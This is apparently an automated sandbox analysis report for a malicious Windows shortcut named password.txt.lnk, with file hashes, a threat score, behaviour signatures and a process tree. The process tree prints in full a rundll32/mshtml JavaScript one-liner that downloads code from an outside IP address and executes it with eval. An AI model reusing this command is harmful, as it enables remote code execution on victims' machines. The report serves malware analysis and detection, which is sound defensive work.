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Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    04/10/2023, 18:55

General

  • Target

    password.txt.lnk

  • Size

    2KB

  • MD5

    606e4190bb7ccc8cd7a07abd0ea80508

  • SHA1

    e4ea5d93133016d0e8b454e3449b1f89c6a377eb

  • SHA256

    443f05d26f6c05ad62a45b0fc5fe620e006702cff3b28606fcfc08fffd762a40

  • SHA512

    a9102e9bc1cf6155f59969eb85de86b24d37024e3bdfb9490c7689f28ee387cfc5199cc5eac81f167e7348523166f5ff7a3d9cb72cf83639ec9c3f156140f535

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\password.txt.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B rundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\System32\rundll32.exe
        rundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();
        3⤵
        • Blocklisted process makes network request
        PID:2764

Network

MITRE ATT&CK Enterprise v15

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Downloads